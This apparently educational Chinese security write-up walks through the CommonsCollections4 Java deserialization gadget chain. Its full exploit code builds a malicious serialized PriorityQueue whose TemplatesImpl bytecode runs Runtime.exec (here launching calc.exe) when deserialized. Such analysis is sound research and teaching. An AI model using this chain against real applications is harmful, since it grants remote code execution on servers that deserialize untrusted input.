1.前言
这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了instantiateTransformer,所以不用invoke反射调用方法,所以外层queue里面放的元素随意
缩减版的函数调用栈如下图所示:
2.利用链分析:
调用还是从PriorityQueue.readObject函数开始
一直到org/apache/commons/collections4/comparators/TransformingComparator.class的compare函数中将调用chainedTransformer的transform方法了
这里第一个要利用的还是ConstantTransformer,要返回TrAXfilter类
接下来第二轮将调用Traxfilter类入口参数类型为Templates的构造函数,并且实例化调用该构造函数传入templatesImpl类的实例
接下来到TraxFilter的构造函数中将调用templatesImpl.newTransformer(),就可以是实例化_bytecode中存储的类进行rce了
yso构造分析:
首先构造一个Templates类的实例,然后开始构造chianed链需要的东西,首先就是一个Constanttransformer
然后再构造chained的第二个元素就是该链相对于cc2的区别为InstantiateTransformer类
接下来将两个transformer放进chaind,并且构造外层的PriorityQueue,并将chined放入TransformingComparator,然后再将Templates放到instantiate实例的参数和参数类型中,至此
就构造结束了
手动exp构造:
exp.java
packageCommonsCollections4;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.*;importorg.apache.commons.collections4.Transformer;importorg.apache.commons.collections4.comparators.ComparableComparator;importorg.apache.commons.collections4.comparators.TransformingComparator;importorg.apache.commons.collections4.functors.ChainedTransformer;importorg.apache.commons.collections4.functors.ConstantTransformer;importorg.apache.commons.collections4.functors.InstantiateTransformer;importjavax.xml.transform.Templates;importjava.io.File;importjava.io.FileOutputStream;importjava.io.IOException;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;public classexp {public static void main(String[] args) throwsIOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
TemplatesImpl tmp= newTemplatesImpl();
ClassPool pool=ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class= pool.get(payload.class.getName());byte[] payCode =pay_class.toBytecode();
Class clazz;
clazz=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");//存储payload类
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name= clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
Transformer[] trans= newTransformer[]{new ConstantTransformer(TrAXFilter.class),newInstantiateTransformer(new Class[]{Templates.class},newObject[]{tmp})
};
ChainedTransformer chian= newChainedTransformer(trans);//PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(chian));
TransformingComparator transCom = newTransformingComparator(chian);
PriorityQueue queue= new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com= PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);//序列化
File file;
file= new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
ObjectOutputStream obj_out= new ObjectOutputStream(newFileOutputStream(file));
obj_out.writeObject(queue);
}
}
readobj.java
packageCommonsCollections4;import java.io.*;importjava.lang.Runtime;public classreadObj {public static void main(String[] args) throwsIOException, ClassNotFoundException {
File file;
file= new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
ObjectInputStream obj= new ObjectInputStream(newFileInputStream(file));
obj.readObject();
}
}
payload.java
packageCommonsCollections4;importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;public class payload extendsAbstractTranslet {
{try{
Runtime.getRuntime().exec("calc.exe");
}catch(IOException e) {
e.printStackTrace();
}
}publicpayload(){
System.out.println("tr1ple 2333");
}public void transform(DOM document, SerializationHandler[] handlers) throwsTransletException {
}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throwsTransletException {
}
}